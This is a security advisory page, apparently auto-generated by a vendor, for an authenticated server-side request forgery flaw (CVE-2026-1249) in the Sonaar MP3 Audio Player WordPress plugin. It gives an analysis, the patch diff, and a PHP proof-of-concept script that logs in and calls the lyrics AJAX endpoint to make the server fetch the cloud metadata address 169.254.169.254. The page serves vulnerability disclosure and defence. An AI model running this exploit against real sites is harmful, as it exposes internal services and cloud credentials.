Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1249: MP3 Audio Player – Music Player, Podcast Player & Radio by Sonaar 5.3 – 5.10 – Authenticated (Author+) Server-Side Request Forgery (mp3-music-player-by-sonaar)

CVE ID CVE-2026-1249
Severity Medium (CVSS 5.0)
CWE 918
Vulnerable Version 5.10
Patched Version 5.11
Disclosed February 12, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1249:
This vulnerability is an authenticated Server-Side Request Forgery (SSRF) in the MP3 Audio Player plugin for WordPress versions 5.3 to 5.10. The flaw exists in the `load_lyrics_ajax_callback` function, allowing attackers with Author-level access or higher to force the application to make arbitrary HTTP requests to internal or external systems.

The root cause is insufficient validation and access control in the `load_lyrics_ajax_callback` function within `/mp3-music-player-by-sonaar/sonaar-music.php`. The vulnerable function accepted user-controlled `post-id` and `track-position` parameters without proper authorization checks. It then used these parameters to retrieve a URL from post metadata via `get_post_meta()`. This URL was passed directly to `wp_remote_get()` without validation, enabling SSRF. The function also lacked capability checks, making it accessible to any authenticated user via the `wp_ajax_load_lyrics_ajax` action.

Exploitation requires an authenticated attacker with at least Author privileges. The attacker sends a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `load_lyrics_ajax`. The request must include a valid WordPress nonce (obtainable via other plugin functionality) and the `post-id` and `track-position` parameters. The attacker controls the `track_lyrics` metadata value for a post they can edit, which contains the target URL. When the AJAX handler executes, it fetches this URL via `wp_remote_get()` with SSL verification disabled, allowing requests to internal services.

The patch introduces multiple security improvements. It removes the `wp_ajax_nopriv_load_lyrics_ajax` hook, restricting access to authenticated users only. It adds a capability check requiring `manage_options` (Administrator level). The patch validates `post-id` and `track-position` parameters using `absint()` and checks for empty values. It validates the retrieved URL with `filter_var($ttml_content, FILTER_VALIDATE_URL)`. The patch replaces `wp_remote_get()` with `wp_safe_remote_get()` and removes the `sslverify => false` option. Error handling now uses `wp_send_json_error()` instead of returning raw error messages.

Successful exploitation allows attackers to make HTTP requests from the web server to internal network services. This can lead to information disclosure from internal APIs, databases, or cloud metadata services. Attackers can probe internal network topology and potentially interact with unauthenticated internal services. The vulnerability could facilitate attacks against adjacent systems or escalate to remote code execution if internal administrative interfaces are exposed.

Differential between vulnerable and patched code

Code Diff
--- a/mp3-music-player-by-sonaar/admin/class-sonaar-music-admin.php
+++ b/mp3-music-player-by-sonaar/admin/class-sonaar-music-admin.php
@@ -8221,7 +8221,7 @@
                     'default'           => sprintf(
                          /* translators: %1$s: company name, %2$s: section spacing, %3$s: effective date, %4$s: producer name, %5$s: licensee name, %6$s: licensee address, %7$s: beat title, %8$s: payment type, %9$s: section break, %10$s: may or may not (conditional text), %11$s: number of radio stations, %12$s: number or name of an audiovisual work, %13$s: number of allowed downloads, %14$s: number of allowed monetized streams, %15$s: number of allowed monetized video streams, %16$s: number of allowed free downloads, %19$s: section header, %20$s: colon after section header, */
                          esc_html__('%1$s
-%2$sThis License Agreement (the “Agreement”), having been made on and effective as of %3$s (the “Effective Date”) by and between %4$s (the “Producer” or “Licensor”); and you, %5$s (“You” or “Licensee”), residing at %6$s, sets forth the terms and conditions of the Licensee’s use, and the rights granted in, the Producer’s instrumental music file entitled %7$s (the “Beat”) in consideration for Licensee’s payment, on a so-called “%8$s” basis.%9$s
+%2$sThis License Agreement (the “Agreement”), having been made on and effective as of %3$s (the “Effective Date”) by and between %4$s (the “Producer” or “Licensor”); and you, %5$s (“You” or “Licensee”), residing at %6$s, sets forth the terms and conditions of the Licensee’s use, and the rights granted in, the Producer’s instrumental music file entitled %7$s (the “Beat”) in consideration for Licensee’s payment.%9$s

 %2$sThis Agreement is issued solely in connection with and for Licensee use of the Beat pursuant and subject to all terms and conditions set forth herein.%9$s

--- a/mp3-music-player-by-sonaar/includes/class-sonaar-music-widget.php
+++ b/mp3-music-player-by-sonaar/includes/class-sonaar-music-widget.php
@@ -784,7 +784,6 @@
         $trackIndexRelatedToItsPost = 0; //variable required to set the data-store-id. Data-store-id is used to popup the right content.
         $currentTrackId = ''; //Used to set the $trackIndexRelatedToItsPost
         $trackNumber = 0; // Dont Count Relataded track
-        $trackCountFromPlaylist = 0; //Count tracks from same playlist
         $playlistID = '';
         $excerptTrimmed = '[...]';
         $playlist_has_ctas = false;
@@ -805,19 +804,6 @@
             if(! isset( $track['poster'] ) || $track['poster'] === null){
                 $track['poster'] = '';
             }
-            if( $playlistID == $track['sourcePostID'] ){
-                $trackCountFromPlaylist++;
-            }else{
-                $playlistID = $track['sourcePostID'];
-                $trackCountFromPlaylist = 0;
-                if( $this->getOptionValue('reverse_tracklist') ){ //If reverse track list order is enable, start to count (the incrementation) from the number of track the playlist post has (in negative) rather than 0
-                    $i = $key1 + 1;
-                    while (  $i < (count( $playlist['tracks'] )) && $playlist['tracks'][$i]['sourcePostID'] == $playlistID ) {
-                    $i++;
-                    $trackCountFromPlaylist--;
-                    }
-                }
-            }

             $relatedTrack = ( Sonaar_Music::get_option('sticky_show_related-post', 'srmp3_settings_sticky_player') != 'true' || $terms || in_array($track['sourcePostID'], $allAlbums) || $feed || $this->shortcodeParams['albums'] == 'all' || !$single_playlist)? false : true; //True when the track is related to the selected playlist post as episode podcast from same category
             $storeButtonPosition[$key1] = [];
@@ -893,7 +879,8 @@
             $trackLinkedToPost = ( isset( $track['sourcePostID'] ) && $this->getOptionValue('post_link') && ( get_post_type() != 'product' || isset($this->shortcodeParams['post_link']) && filter_var($this->shortcodeParams['post_link'], FILTER_VALIDATE_BOOLEAN) ) ) ? get_permalink($track['sourcePostID']) : false; //Disable post link if the widget is used in a product page, except if the "post_link" option is set to true in the widget settings
             $trackTitle = esc_html($track['track_title']);
             $trackTitle .= ( Sonaar_Music::get_option('show_artist_name', 'srmp3_settings_general') )?  '<span class="srp_trackartist">' . esc_html($artistSeparator_string) . esc_html($track['track_artist']) .'</span>': '';
-            $noteButton =  $this->addNoteButton($track['sourcePostID'], abs($trackCountFromPlaylist), $trackTitle, $trackdescEscapedValue, $excerptTrimmed, $track_desc_postcontent ); // We are using abs() here, because when the "reverse order" option is enable, the "$trackCountFromPlaylist" variable has a negative value
+            $noteButton =  $this->addNoteButton($track['sourcePostID'], $track['track_pos'], $trackTitle, $trackdescEscapedValue, $excerptTrimmed, $track_desc_postcontent );
+
             $playlistItemClass = (isset($trackdescEscapedValue) || $noteButton != null ) ? 'sr-playlist-item' : 'sr-playlist-item sr-playlist-item-flex';
             if( isset($track['user_has_purchased']) ){
                 $playlistItemClass .= ' srp_track_purchased';
@@ -1150,7 +1137,7 @@
                 }

                 if(function_exists('acf')){
-                    if(is_array(get_fields($postid, true))){
+                    if( !empty($postid) && is_numeric($postid) && is_array(get_fields($postid, true))){
                         foreach (get_fields($postid, true) as $key => $value) {
                             if(is_array($value) && (isset($value[0]) && is_string($value[0]))){ // Prevent array values
                                 $value = implode(', ', $value );
--- a/mp3-music-player-by-sonaar/sonaar-music.php
+++ b/mp3-music-player-by-sonaar/sonaar-music.php
@@ -16,7 +16,7 @@
  * Plugin Name:       MP3 Audio Player by Sonaar
  * Plugin URI:        https://sonaar.io/mp3-audio-player-pro/?utm_source=Sonaar+Music+Free+Plugin&utm_medium=plugin
  * Description:       The most popular and complete Music & Podcast Player for WordPress.
- * Version:           5.10
+ * Version:           5.11
  * Author:            Sonaar Music
  * Author URI:        https://sonaar.io/?utm_source=Sonaar%20Music%20Free%20Plugin&utm_medium=plugin
  * License:           GPL-2.0+
@@ -30,8 +30,8 @@
 	die;
 }

-define('SRMP3_VERSION', '5.10'); // important to avoid cache issues on update
-define('SRMP3_PRO_MIN_VERSION', '5.10'); // Minimum pro version required
+define('SRMP3_VERSION', '5.11'); // important to avoid cache issues on update
+define('SRMP3_PRO_MIN_VERSION', '5.11'); // Minimum pro version required
 if ( !defined( 'SRMP3_DIR_PATH' ) ) {
     define( 'SRMP3_DIR_PATH', plugin_dir_path( __FILE__ ) );
 }
@@ -175,52 +175,95 @@

 add_action('wp_ajax_load_track_note_ajax', 'load_track_note_ajax_callback');
 add_action('wp_ajax_nopriv_load_track_note_ajax', 'load_track_note_ajax_callback');
-
+
 function load_track_note_ajax_callback() {
 	check_ajax_referer('sonaar_music_ajax_nonce', 'nonce');
-
-	if($_POST['track-desc-postcontent'] == '1'){
-		$postobj = get_post(sanitize_text_field($_POST['post-id']));
-		$description = sanitize_text_field($postobj->post_content);
-	}else{
-		$postobj = get_post_meta(sanitize_text_field($_POST['post-id']), 'alb_tracklist', true );
-		$description = $postobj[sanitize_text_field($_POST['track-position'])]['track_description'];
+
+	$post_id = absint($_POST['post-id']);
+	if (!$post_id) {
+		wp_send_json_error('Invalid post ID');
 	}
-	echo wp_json_encode( '<div class="srp_note_title">' . sanitize_text_field(stripslashes($_POST['track-title'])) . '</div>'. $description );
-
+
+	if (!empty($_POST['track-desc-postcontent']) && $_POST['track-desc-postcontent'] == '1') {
+
+		$postobj = get_post($post_id);
+		if (!$postobj) {
+			wp_send_json_error('Post not found');
+		}
+
+		if ($postobj->post_status !== 'publish') {
+			if (!is_user_logged_in() || !current_user_can('read_post', $post_id)) {
+				wp_send_json_error('Permission denied');
+			}
+		}
+
+		$description = wp_kses_post($postobj->post_content);
+
+	} else {
+
+		$tracks = get_post_meta($post_id, 'alb_tracklist', true);
+		$track_position = absint($_POST['track-position']);
+
+		if (!isset($tracks[$track_position]['track_description'])) {
+			wp_send_json_error('Track not found');
+		}
+
+		$description = wp_kses_post($tracks[$track_position]['track_description']);
+	}
+
+	echo wp_json_encode(
+		'<div class="srp_note_title">' .
+		sanitize_text_field(stripslashes($_POST['track-title'])) .
+		'</div>' .
+		$description
+	);
+
 	wp_die();
 }

 add_action('wp_ajax_load_lyrics_ajax', 'load_lyrics_ajax_callback');
-add_action('wp_ajax_nopriv_load_lyrics_ajax', 'load_lyrics_ajax_callback');
+
 function load_lyrics_ajax_callback() {
     check_ajax_referer('sonaar_music_ajax_nonce', 'nonce');
-	$ttml_content = get_post_meta(sanitize_text_field($_POST['post-id']), 'sr_sonaar_tts_post_ttml', true); // coming from TTS Plugin
-    $postmeta = get_post_meta(sanitize_text_field($_POST['post-id']), 'alb_tracklist', true);

-    if (isset($postmeta[sanitize_text_field($_POST['track-position'])]['track_lyrics']) || $ttml_content) {
-        $ttml_content = ($ttml_content) ? $ttml_content : $postmeta[sanitize_text_field($_POST['track-position'])]['track_lyrics'];
-        $response = wp_remote_get($ttml_content, array('sslverify' => false));
+    if (!current_user_can('manage_options')) {
+        wp_send_json_error('Permission denied');
+    }
+
+    $post_id = absint($_POST['post-id']);
+    if (!$post_id) {
+        wp_send_json_error('Invalid post ID');
+    }
+
+    $track_position = isset($_POST['track-position']) ? absint($_POST['track-position']) : null;
+
+    $ttml_content = get_post_meta($post_id, 'sr_sonaar_tts_post_ttml', true);
+    $postmeta = get_post_meta($post_id, 'alb_tracklist', true);
+
+    if (
+        $ttml_content ||
+        ($track_position !== null && isset($postmeta[$track_position]['track_lyrics']))
+    ) {
+        $ttml_content = $ttml_content ?: $postmeta[$track_position]['track_lyrics'];
+
+        if (!filter_var($ttml_content, FILTER_VALIDATE_URL)) {
+            wp_send_json_error('Invalid URL');
+        }
+
+        $response = wp_safe_remote_get($ttml_content, array(
+            'timeout' => 5,
+        ));

         if (is_wp_error($response)) {
-            $error_response = array(
-                'error' => 'Failed to retrieve lyrics. Error: ' . $response->get_error_message()
-            );
-            echo wp_json_encode($error_response);
-        } else {
-			$body = wp_remote_retrieve_body($response);
-			//$response_code = wp_remote_retrieve_response_code($response);
-			//error_log('Lyrics Response Code: ' . $response_code);
-            echo wp_json_encode($body);
+            wp_send_json_error($response->get_error_message());
         }
+
+        echo wp_json_encode(wp_remote_retrieve_body($response));
     } else {
-        // Return a JSON response indicating that the key is not set
-        $error_response = array(
-            'error' => 'The key "track_lyrics" is not set or is undefined.'
-        );
-        echo wp_json_encode($error_response);
+        wp_send_json_error('Lyrics not found');
     }

     wp_die();
 }

+

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1249 - MP3 Audio Player – Music Player, Podcast Player & Radio by Sonaar 5.3 - 5.10 - Authenticated (Author+) Server-Side Request Forgery

<?php

$target_url = "https://vulnerable-wordpress-site.com";
$username = "author_user";
$password = "author_password";

// Step 1: Authenticate to WordPress and obtain session cookies
$login_url = $target_url . "/wp-login.php";
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . "/wp-admin/",
    'testcookie' => '1'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$login_response = curl_exec($ch);

// Step 2: Extract nonce from plugin page (simplified - in reality would parse from page)
// For this PoC, we assume the attacker has already obtained a valid nonce
// The nonce is typically available in pages where the plugin loads its JavaScript
$nonce = "VALID_NONCE_HERE"; // Replace with actual nonce from target

// Step 3: Create or edit a post to set malicious track_lyrics metadata
// This step requires Author privileges to edit posts
// The attacker sets alb_tracklist metadata with a track_lyrics value pointing to internal URL
$internal_target = "http://169.254.169.254/latest/meta-data/"; // AWS metadata service example

// Step 4: Exploit SSRF via AJAX endpoint
$ajax_url = $target_url . "/wp-admin/admin-ajax.php";
$exploit_data = array(
    'action' => 'load_lyrics_ajax',
    'nonce' => $nonce,
    'post-id' => '123', // ID of post with malicious metadata
    'track-position' => '0' // Position of track with malicious lyrics URL
);

curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_data));
$ajax_response = curl_exec($ch);

// Step 5: Display response from internal service
echo "SSRF Response:n";
echo $ajax_response;

curl_close($ch);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School